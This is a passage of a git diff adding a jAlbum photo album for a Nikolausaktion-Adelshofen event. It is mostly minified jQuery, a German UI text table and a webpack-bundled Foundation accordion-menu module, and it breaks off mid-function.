0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r(" + + + + + + + + + +
+ + +
+ + + + diff --git a/public/fotoalbum/Nikolausaktion-Adelshofen/album/lifeboat.zip b/public/fotoalbum/Nikolausaktion-Adelshofen/album/lifeboat.zip new file mode 100644 index 00000000..60c67ef1 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Adelshofen/album/lifeboat.zip differ diff --git a/public/fotoalbum/Nikolausaktion-Adelshofen/album/res/all.min.js b/public/fotoalbum/Nikolausaktion-Adelshofen/album/res/all.min.js new file mode 100644 index 00000000..40ff14e1 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Adelshofen/album/res/all.min.js @@ -0,0 +1,27 @@ +/* all.min.js - Tiger skin scripts */ +var VER='2.13.6',DEBUG=false; +;Texts = {and:'und',from:'Von {0}',databaseMissingOrBroken:'The current folder´s database file is missing or broken!',checkProcessSubdirectories:'Check if you´ve allowed jAlbum to process the subdirectories and "Make album" again!',uploadAlbumAgain:'If you´re the owner try to "Upload" the album again!',localAccessBlocked:'Local access to the album´s database file is blocked by your browser. This does not affect the uploaded album! Use jAlbum´s Preview (F12) for testing!',closeWindow:'Fenster schließen',okButton:'OK',warning:'Warnung',error:'Fehler',today:'heute',yesterday:'gestern',daysAgo:'Vor {0} Tagen',monthsAgo:'Vor {0} Monaten',yearsAgo:'Vor {0} Jahren',addCart:'In den Warenkorb',shoppingCart:'Warenkorb',edit:'Bearbeiten',continueShopping:'Weiter einkaufen',added:'Hinzugefügt...',buyNow:'Jetzt kaufen',processedByPaypal:'Die Bezahlung wird durch PayPal abgewickelt',viewCart:'Warenkorb prüfen',emptyCart:'Warenkorb leeren',removeAllItems:'Alle Artikel entfernen?',yes:'Ja',no:'Nein',noMoreItems:'Bei PayPal können Sie nicht mehr als 99 Artikel gleichzeitig kaufen. Es wurden nur die ersten 99 hinzugefügt.',item:'Artikel',items:'Artikel',success:'Erfolgreich',couponCode:'Gutscheincode',redeem:'Einlösen',noSuch:'Dieser Gutschein existiert nicht!',expired:'Der Gutscheincode {0} ist abgelaufen!',lowerThanCurrent:'Dieser Coupon bietet weniger Rabatt als der aktuelle {0}.',reclaimed:'Dieser Gutschein wurde bereits benutzt!',select:'Auswählen',all:'Alle',none:'Keine',selectedItems:'Markierte Artikel',shoppingcartInfo:'Dieser Artikel wurde dem Warenkorb hinzugefügt. Nach Schließen des Leuchtkastens können Sie ihn durch Drücken des "Jetzt kaufen"-Buttons erwerben.',subtotal:'Zwischensumme',total:'Summe',shippingAndHandling:'Versand',reduction:'Ersparnis',discount:'Rabatt',tax:'Steuer',remove:'Entfernen',couponAccepted:'Gutschein akzeptiert, rabattiere {0}.',couponRemoved:'Der Gutschein wurde entfernt.',amountLowerThan:'Die Summe ist niedriger als der Rabatt {0}.',addMoreItems:'Fügen Sie {0} weitere Artikel hinzu um den Rabatt zu erhalten!',validAbove:'Gültig nur sofern Warenkorbwert größer als {0}.',higherThanTotal:'Der Coupon hat einen höheren Rabatt ({0}) als die Gesamtsumme.',minAmountWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Summe größer ist als {0}.',minQuantityWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Anzahl größer ist als {0}.',maxNItems:'Maximal {0} Artikel erlaubt!',continueBrowsing:'Weiter surfen',feedback:'Feedback',sendFeedback:'Feedback versenden',addComment:'Kommentar hinzufügen',viewFeedbackCart:'Feedback Fenster',feedbackOnAlbum:'Feedback zum Album',dismissFeedback:'Kommentar löschen',removeAllItems:'Alle Artikel entfernen?',to:'An',subject:'Betreff',warning:'Warnung',removeAll:'Alle entfernen',copiedToClipboard:'In die Zwischenablage kopiert!',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',tooLong:'Text ist zu lang oder zu viele Artikel!',copyInstructions:'Der Text wurde in Ihre Zwischenablage kopiert. Wechseln Sie nun zur E-Mail-Anwendung (oder zu Webmail) und fügen Sie sie ein. Springen Sie zu "An" und "Betreff" in die entsprechenden Felder!',feedbackButtonExplanation:'Versuchen Sie "Senden", wenn Sie eine E-Mail-Anwendung installiert haben, verwenden Sie "Kopieren" für Webmail!',share:'Teilen',shareOn:'Teilen auf',checkThisOut:'Check this out',localWarning:'Lokale Alben können nicht geteilt werden. Bitte das Album erst hochladen!',foundNTimes:'{0} Bild(er)',notFound:'Nicht gefunden',search:'Suche',newImages:'Neue Bilder',results:'Results',reset:'Reset',label:'Label',return:'Zurück',select:'Auswählen',sortBy:'Sort by',sortedBy:'Sorted by',ascending:'ascending',descending:'descending',multipleSelectHint:'Use SHIFT to select range, CTRL for multiple entries',newItem:'NEU',today:'heute',inThePast24Hours:'In den letzten 24 Stunden',inThePast48Hours:'In den letzten 48 Stunden',inTheLastDay:'Gestern',inThePastNDays:'In den letzten {0} Tagen',inThePastNMonths:'In den letzten {0} Monaten',inThePastNYears:'In den letzten {0} Jahren',sinceMyLastVisit:'Seit dem letzten Besuch',imagesAdded:'Neu zugefügt',imagesModified:'Geändert',imagesTaken:'Aufgenommen',startSlideshow:'Diashow starten',startSlideshowShort:'Starten',atFirstPage:'Erste Seite',atLastPage:'Letzte Seite',atLastPageQuestion:'Wohin nun weiter?',startOver:'Erneut starten',backToHome:'Eine Ebene höher',stop:'Stopp',pause:'Pause',pauseShort:'Pause',upOneLevel:'Eine Ebene nach oben',upOneLevelShort:'Abbrechen',backToIndex:'Zurück zur Miniaturansichtsseite / eine Ebene höher Esc',previousPicture:'Vorheriges Bild',previousPictureShort:'Vorheriges',nextPicture:'Nächstes Bild',nextPictureShort:'Nächstes',previousFolder:'Vorheriger Ordner',nextFolder:'Nächster Ordner',oneToOneSize:'Normalgröße',oneToOneSizeShort:'1:1',fullscreen:'Full screen',exitFullscreen:'Exit full screen',fullscreenShort:'Fullscr',exitFullscreenShort:'Normal',fitToScreen:'Auf Fenstergröße anpassen',fitToScreenShort:'anpassen',showInfo:'Zeige Beschriftung / Info',showInfoShort:'Info anzeigen',hideInfo:'Verberge Beschriftung / Info',hideInfoShort:'Info ausblenden',showThumbs:'Miniaturen anzeigen',showThumbsShort:'Miniaturen',hideThumbs:'Miniaturen verbergen',hideThumbsShort:'Hide thumbs',clickToOpen:'Anklicken um das Dokument mit dem zugeordneten Programm anzuzeigen',rating:'Rating',metaBtn:'Bilddaten',metaLabel:'Bilddaten (Exif/Iptc) anzeigen',mapBtn:'Karte',mapLabel:'Aufnahmeort auf der Karte anzeigen',shopBtn:'Kaufen',shopLabel:'Zeige Optionen dieses Bild zu kaufen',viewCartLabel:'Zeige den Warenkorb',feedbackLabel:'Zeige Feedback Fenster',shareBtn:'Teilen',shareLabel:'Dieses Bild in Sozialen Netzwerken teilen',download:'Herunterladen',print:'Drucken',printLabel:'Dieses Bild auf Ihrem Drucker drucken',fotomotoBtn:'Kaufen / Teilen',fotomotoLabel:'Abzüge oder Bilddateien kaufen, Bilder teilen oder kostenlos eCards versenden',mostphotosBtn:'Kaufen',mostphotosLabel:'Dieses Bild von mostphotos.com herunterladen!',regionsBtn:'Menschen',regionsLabel:'Zeige markierte Menschen',sendFeedback:'Feedback versenden',message:'Nachricht',subject:'Betreff',comment:'Kommentar',yourEmail:'Ihre Mail-Adresse',send:'Senden',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',tooLong:'Text ist zu lang oder zu viele Artikel!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',noItemsSelected:'Nichts ausgewählt',selectItemsHint:'Wählen Sie zunächst die gewünschten Artikel aus!',scrollTopTooltip:'Nach oben',more:'mehr',less:'weniger',locationWarning:'Funktioniert nur nach dem Upload',cookiePolicyText:'Dieses Album nutzt Cookies um Nutzereinstellungen zu speichern. Durch die Nutzung stimmen Sie der Speicherung unserer Cookies zu.',cookiePolicyAgree:'Verstanden',cookiePolicyLearnMore:'Mehr Informationen',gdprComplianceText:'Diese Website verwendet die folgenden externen Dienste, die Ihre Besuche anonym verfolgen können. Durch Deaktivieren der Nachverfolgung wird ihre Funktionalität beendet.',allowAll:'Alle erlauben',denyAll:'Alle verbieten',allowSelected:'Erlaube ausgewählte'}; +!function(n,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e(require("jquery"));else if("function"==typeof define&&define.amd)define(["jquery"],e);else{var t="object"==typeof exports?e(require("jquery")):e(n.jQuery);for(var o in t)("object"==typeof exports?exports:n)[o]=t[o]}}(window,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(t){var o={};function i(n){if(o[n])return o[n].exports;var e=o[n]={i:n,l:!1,exports:{}};return t[n].call(e.exports,e,e.exports,i),e.l=!0,e.exports}return i.m=t,i.c=o,i.d=function(n,e,t){i.o(n,e)||Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var o in e)i.d(t,o,function(n){return e[n]}.bind(null,o));return t},i.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s="../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js")}({"../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.toggler */ "./js/foundation.toggler.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].addToJquery(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].MediaQuery = _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__["MediaQuery"];\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a, _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"]);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"], \'DropdownMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__["ResponsiveMenu"], \'ResponsiveMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__["Reveal"], \'Reveal\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__["ResponsiveToggle"], \'ResponsiveToggle\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__["Toggler"], \'Toggler\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__["SmoothScroll"], \'SmoothScroll\');\n\n//# sourceURL=webpack:////tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js?')},"./js/foundation.accordionMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"AccordionMenu\", function() { return AccordionMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\n\nvar AccordionMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(AccordionMenu, _Plugin);\n\n function AccordionMenu() {\n _classCallCheck(this, AccordionMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(AccordionMenu).apply(this, arguments));\n }\n\n _createClass(AccordionMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of an accordion menu.\n * @class\n * @name AccordionMenu\n * @fires AccordionMenu#init\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, AccordionMenu.defaults, this.$element.data(), options);\n this.className = 'AccordionMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('AccordionMenu', {\n 'ENTER': 'toggle',\n 'SPACE': 'toggle',\n 'ARROW_RIGHT': 'open',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'close',\n 'ESCAPE': 'closeAll'\n });\n }\n /**\n * Initializes the accordion menu by hiding all nested menus.\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'accordion');\n\n var _this = this;\n\n this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': this.options.multiOpen\n });\n this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n this.$menuLinks.each(function () {\n var linkId = this.id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu-link'),\n $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $elem.children('[data-submenu]'),\n subId = $sub[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu'),\n isActive = $sub.hasClass('is-active');\n\n if (_this.options.parentLink) {\n var $anchor = $elem.children('a');\n $anchor.clone().prependTo($sub).wrap('
  • ');\n }\n\n if (_this.options.submenuToggle) {\n $elem.addClass('has-submenu-toggle');\n $elem.children('a').after('');\n } else {\n $elem.attr({\n 'aria-controls': subId,\n 'aria-expanded': isActive,\n 'id': linkId\n });\n }\n\n $sub.attr({\n 'aria-labelledby': linkId,\n 'aria-hidden': !isActive,\n 'role': 'group',\n 'id': subId\n });\n });\n this.$element.find('li').attr({\n 'role': 'treeitem'\n });\n var initPanes = this.$element.find('.is-active');\n\n if (initPanes.length) {\n var _this = this;\n\n initPanes.each(function () {\n _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n });\n }\n\n this._events();\n }\n /**\n * Adds event handlers for items within the menu.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this;\n\n this.$element.find('li').each(function () {\n var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n\n if ($submenu.length) {\n if (_this.options.submenuToggle) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n _this.toggle($submenu);\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n e.preventDefault();\n\n _this.toggle($submenu);\n });\n }\n }\n }).on('keydown.zf.accordionmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('ul').children('li'),\n $prevElement,\n $nextElement,\n $target = $element.children('[data-submenu]');\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n // has open sub menu\n $nextElement = $element.find('li:first-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n // is first element of sub menu\n $prevElement = $element.parents('li').first().find('a').first();\n } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n // if previous element has open sub menu\n $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n // is last element of sub menu\n $nextElement = $element.parents('li').first().next('li').find('a').first();\n }\n\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'AccordionMenu', {\n open: function open() {\n if ($target.is(':hidden')) {\n _this.down($target);\n\n $target.find('li').first().find('a').first().focus();\n }\n },\n close: function close() {\n if ($target.length && !$target.is(':hidden')) {\n // close active sub of this item\n _this.up($target);\n } else if ($element.parent('[data-submenu]').length) {\n // close currently open sub\n _this.up($element.parent('[data-submenu]'));\n\n $element.parents('li').first().find('a').first().focus();\n }\n },\n up: function up() {\n $prevElement.focus();\n return true;\n },\n down: function down() {\n $nextElement.focus();\n return true;\n },\n toggle: function toggle() {\n if (_this.options.submenuToggle) {\n return false;\n }\n\n if ($element.children('[data-submenu]').length) {\n _this.toggle($element.children('[data-submenu]'));\n\n return true;\n }\n },\n closeAll: function closeAll() {\n _this.hideAll();\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); //.attr('tabindex', 0);\n }\n /**\n * Closes all panes of the menu.\n * @function\n */\n\n }, {\n key: \"hideAll\",\n value: function hideAll() {\n this.up(this.$element.find('[data-submenu]'));\n }\n /**\n * Opens all panes of the menu.\n * @function\n */\n\n }, {\n key: \"showAll\",\n value: function showAll() {\n this.down(this.$element.find('[data-submenu]'));\n }\n /**\n * Toggles the open/close state of a submenu.\n * @function\n * @param {jQuery} $target - the submenu to toggle\n */\n\n }, {\n key: \"toggle\",\n value: function toggle($target) {\n if (!$target.is(':animated')) {\n if (!$target.is(':hidden')) {\n this.up($target);\n } else {\n this.down($target);\n }\n }\n }\n /**\n * Opens the sub-menu defined by `$target`.\n * @param {jQuery} $target - Sub-menu to open.\n * @fires AccordionMenu#down\n */\n\n }, {\n key: \"down\",\n value: function down($target) {\n var _this2 = this;\n\n if (!this.options.multiOpen) {\n this.up(this.$element.find('.is-active').not($target.parentsUntil(this.$element).add($target)));\n }\n\n $target.addClass('is-active').attr({\n 'aria-hidden': false\n });\n\n if (this.options.submenuToggle) {\n $target.prev('.submenu-toggle').attr({\n 'aria-expanded': true\n });\n } else {\n $target.parent('.is-accordion-submenu-parent').attr({\n 'aria-expanded': true\n });\n }\n\n $target.slideDown(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done opening.\n * @event AccordionMenu#down\n */\n _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n * @param {jQuery} $target - Sub-menu to close.\n * @fires AccordionMenu#up\n */\n\n }, {\n key: \"up\",\n value: function up($target) {\n var _this3 = this;\n\n var $submenus = $target.find('[data-submenu]');\n var $allmenus = $target.add($submenus);\n $submenus.slideUp(0);\n $allmenus.removeClass('is-active').attr('aria-hidden', true);\n\n if (this.options.submenuToggle) {\n $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n } else {\n $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n }\n\n $target.slideUp(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done 